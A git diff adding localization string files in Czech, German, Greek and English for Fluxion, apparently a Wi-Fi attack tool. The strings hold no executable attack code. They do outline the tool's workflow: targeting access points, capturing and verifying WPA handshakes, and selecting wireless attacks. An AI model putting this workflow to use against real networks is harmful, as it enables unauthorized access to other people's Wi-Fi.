+FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Vyberte kanál" +FLUXIONScannerChannelOptionAll="Všechny kanály" +FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Jeden kanál" +FLUXIONScannerChannelMiltipleTip="Více kanálů" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Sledování WIFI" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Select a wireless attack for the access point" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Zpět" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Nenalezeno" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Čištění a zavírání" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Vypínání monitorovacího rozhraní" +FLUXIONDisablingExtraInterfacesNotice="Vypínání rozhraní" +FLUXIONDisablingPacketForwardingNotice="Vypínání ${CGry}směrování packetů" +FLUXIONDisablingCleaningIPTablesNotice="Čištění ${CGry}iptables" +FLUXIONRestoringTputNotice="Obnovování ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Restartování ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Vyčištění proběhlo úspěšně!" +FLUXIONThanksSupportersNotice="Děkujeme pro používání programu fluxion" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/de.sh b/language/de.sh new file mode 100755 index 0000000..461784b --- /dev/null +++ b/language/de.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# German +# native: Deutsch + +FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..." +#FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..." +FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..." +FLUXIONFindingWINotice="Suche nach Netzwerkkarten..." +FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..." +FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden" +FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$interface\"..." +FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$interface\"..." +FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..." +FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden" +FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starte Netzwerkscanner" +FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner (ctrl+c)" +FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..." +FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )" +FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht" +FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash" +FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert" +FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus" +FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen" +FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Einzelne Frequenz" +FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Scanner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen" +FLUXIONHashSourcePathOption="Handshake Pfad eingeben" +FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen" +FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden" +FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren" +FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung" +FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="Cowpatty verfizierung (${CGrn}Empfohlen$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr Angriff gestartet" +FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Zurück" +FLUXIONGeneralExitOption="${CRed}Ausgang" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Nicht gefunden" +FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Aufräumen und schließen" +FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte" +FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte" +FLUXIONDisablingPacketForwardingNotice="Deaktivierung ${CGry}von der Weiterleitung von Paketen" +FLUXIONDisablingCleaningIPTablesNotice="Säubere ${CGry}iptables" +FLUXIONRestoringTputNotice="Wiederherstellung von ${CGry}tput" +FLUXIONDeletingFilesNotice="Löschen ${CGry}von Daten" +FLUXIONRestartingNetworkManagerNotice="Neustarten des ${CGry}Netzwerk Manager" +FLUXIONCleanupSuccessNotice="Wiederherstellung war erfolgreich" +FLUXIONThanksSupportersNotice="Vielen Dank für die Nutzung von FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/el.sh b/language/el.sh new file mode 100755 index 0000000..0f54489 --- /dev/null +++ b/language/el.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Greek +# native: Ελληνικά + +FLUXIONInterfaceQuery="Επιλέξτε μία διεπαφή" +FLUXIONAllocatingInterfaceNotice="Δέσμευση interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Αποδέσμευση interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Επιτυχής δέσμευση interface!" +FLUXIONInterfaceAllocationFailedError="${CRed}Ανεπιτυχής δέσμευση interface!" +FLUXIONReidentifyingInterface="Μετονομασία interface." +FLUXIONUnblockingWINotice="Απεμπλοκή όλων των ασύρματων interfaces..." +#FLUXIONFindingExtraWINotice="Έλεγχος για εξωτερικές ασύρματες διεπαφές,.." +FLUXIONRemovingExtraWINotice="Αφαίρεση εξωτερικων ασύρματων interfaces..." +FLUXIONFindingWINotice="Έλεγχος για διαθέσιμα ασύρματα interfaces..." +FLUXIONSelectedBusyWIError="Το επιλεγμένο ασύρματο interface φαίνεται να χρησιμοποιείται αυτή τη στιγμή!" +FLUXIONSelectedBusyWITip="Αυτό συνήθως προκαλείται λόγω του ότι το interface χρησιμοποιείται από τον network manager. Σας προτείνουμε να$CGrn σταματήσετε τον network manager$CClr ή να τον ρυθμίσετε να αγνοεί το συγκεκριμένο interface. Διαφορετικά, εκτελέστε \"export FLUXIONWIKillProcesses=1\" πριν από το fluxion για να τον τερματίσετε αλλά σας προτείνουμε$CRed να το αποφύγετε${CClr}." +FLUXIONGatheringWIInfoNotice="Συγκέντρωση πληροφοριών interface..." +FLUXIONUnknownWIDriverError="Δεν είναι δυνατός ο προσδιορισμός του driver του interface!" +FLUXIONUnloadingWIDriverNotice="Αναμονή για να απενεργοποιηθεί το \"\$interface\"..." +FLUXIONLoadingWIDriverNotice="Αναμονή φόρτωσης του \"\$interface\"..." +FLUXIONFindingConflictingProcessesNotice="Έλεγχος για υπηρεσίες που προκαλούν προβλήματα..." +FLUXIONKillingConflictingProcessesNotice="Απενεργοποιηση υπηρεσιών που προκαλούν προβλήματα ..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Δεν είναι δυνατός ο προσδιορισμός της φυσικής συσκευής της διασύνδεσης!" +FLUXIONStartingWIMonitorNotice="Έναρξη του interface παρακολούθησης (monitor)..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Επιλέξτε ένα ασύρματο interface για αναζήτηση στόχων." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Το ESSID, το BSSID, ή οι πληροφορίες του καναλιού λείπουν!" +FLUXIONTargettingAccessPointAboveNotice="Το Fluxion στοχεύει το παραπάνω access point." +FLUXIONContinueWithTargetQuery="Συνέχεια με αυτό το στόχο?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Ξεκινάω τον σαρωτή, παρακαλώ περιμένετε..." +FLUXIONStartingScannerTip="Πέντε δευτερόλεπτα μετά την εμφάνιση του ασυρματου δικτυου που θελετε να κανετε επιθεση, κλείστε τον σαρωτή FLUXION (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Σύνθεση αποτελεσμάτων σάρωσης, παρακαλώ περιμένετε..." +FLUXIONScannerFailedNotice="Η ασύρματη κάρτα ενδέχεται να μην υποστηρίζεται(δεν βρέθηκαν ασυρματα δικτυα)" +FLUXIONScannerDetectedNothingNotice="Δεν εντοπίστηκαν ασυρματα δικτυα, επιστρέφω..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Το αρχείο Hash δεν υπάρχει!" +FLUXIONHashInvalidError="${CRed}Σφάλμα$CClr, μη έγκυρο αρχείο hash!" +FLUXIONHashValidNotice="${CGrn}Επιτυχία$CClr, η εξακρίβωση του Hash ολοκληρώθηκε!" +FLUXIONPathToHandshakeFileQuery="Εισαγάγετε τη διαδρομή για το αρχείο Handshake$CClr (Παράδειγμα:/.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, η διαδρομή δεν είναι έγκυρη." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Επίλεξτε κανάλι" +FLUXIONScannerChannelOptionAll="Όλα τα κανάλια" +FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Ενα κανάλι" +FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Εποπτεία Wi-Fi" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Επιλέξτε μια μέθοδο για την ανάκτηση του Handshake" +FLUXIONHashSourcePathOption="Διαδρομή για καταγραφή αρχείου" +FLUXIONHashSourceRescanOption="Φακελος Handshake (επανελεγχος)" +FLUXIONFoundHashNotice="Έχει εντοπιστεί ένα hash για το στόχο." +FLUXIONUseFoundHashQuery="Θέλετε να χρησιμοποιήσετε αυτό το αρχείο;" +FLUXIONUseFoundHashOption="Χρήση του hash που βρέθηκε" +FLUXIONSpecifyHashPathOption="Καθορισμός διαδρομής για το hash" +FLUXIONHashVerificationMethodQuery="Επιλέξτε μια μέθοδο επαλήθευσης για το hash" +FLUXIONHashVerificationMethodPyritOption="επαλήθευση με pyrit" +FLUXIONHashVerificationMethodAircrackOption="επαληθευση με aircrack-ng (${CYel}αναξιόπιστη$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Καντε μια επιλογη" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr επιθεση σε εξελιξη..." +FLUXIONSelectAnotherAttackOption="Διαλεξτε μια αλλη επιθεση" +FLUXIONAttackResumeQuery="Αυτή η επίθεση έχει ήδη ρυθμιστεί." +FLUXIONAttackRestoreOption="Αποκατάσταση επίθεσης" +FLUXIONAttackResetOption="Επαναφορά επίθεσης" +FLUXIONAttackRestartOption="Επανεκκίνηση" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Παράλειψη" +FLUXIONGeneralBackOption="${CRed}Πίσω" +FLUXIONGeneralExitOption="${CRed}Εξοδος" +FLUXIONGeneralRepeatOption="${CRed}Επανάληψη" +FLUXIONGeneralNotFoundError="Δεν βρέθηκε" +FLUXIONGeneralXTermFailureError="${CRed}Προβλημα εναρξης xterm (πιθανη λανθασμενη ρυθμιση)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Καθάρισμα και τερματισμός" +FLUXIONKillingProcessNotice="τερματισμος ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Επαναφορα ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Απενεργοποίση εποπτείας περιβάλλοντος" +FLUXIONDisablingExtraInterfacesNotice="Απενεργοποίηση περιβάλλοντος" +FLUXIONDisablingPacketForwardingNotice="Απενεργοποίηση ${CGry}προώθησης των πακέτων" +FLUXIONDisablingCleaningIPTablesNotice="Καθαρισμός ${CGry}iptables" +FLUXIONRestoringTputNotice="Επαναφορά ${CGry}tput" +FLUXIONDeletingFilesNotice="Διαγραφη ${CGry}αρχειων" +FLUXIONRestartingNetworkManagerNotice="Επανεκκίνηση ${CGry}του Διαχειριστή δικτύου" +FLUXIONCleanupSuccessNotice="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" +FLUXIONThanksSupportersNotice="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END Zartaz edit :P diff --git a/language/en.sh b/language/en.sh new file mode 100755 index 0000000..9dffa03 --- /dev/null +++ b/language/en.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# English +# native: English + +FLUXIONInterfaceQuery="Select a wireless interface" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Select a channel to monitor" +FLUXIONScannerChannelOptionAll="All channels" +FLUXIONScannerChannelOptionSpecific="Specific channel(s)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Single channel" +FLUXIONScannerChannelMiltipleTip="Multiple channels" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Scanner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Rescan handshake directory" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Select a wireless attack for the access point" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# 